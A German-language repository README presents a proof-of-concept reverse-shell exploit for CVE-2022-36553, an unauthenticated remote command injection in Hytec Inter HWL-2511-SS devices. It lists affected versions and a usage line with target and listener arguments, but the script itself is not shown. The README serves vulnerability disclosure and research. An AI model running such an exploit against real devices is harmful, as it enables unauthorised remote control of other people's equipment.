CVE-2022-36553 - Hytec Inter HWL-2511-SS Nicht authentifizierte Remote-Befehlseinschleusung.

Übersicht

Dieses Repository enthält ein Proof-of-Concept (PoC) Reverse-Shell-Skript zur Ausnutzung von CVE-2022-36553, einer kritischen Schwachstelle in Hytec Inter HWL-2511-SS-Geräten. Das Skript ist eine praktische Demonstration, die die ausführliche Analyse in meinem Blogbeitrag „Hytec Inter HWL-2511-SS - Vulnerability Report“ ergänzt.

Betroffene Versionen

Alle Hytec Inter HWL-2511-SS-Geräte ab Version 1.05 und darunter.

PoC-Skript-Nutzung

# Usage: python HWL-2511-SS.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python HWL-2511-SS.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

Video Proof of Concept

Hinweis

NUR ZU BILDUNGSZWECKEN.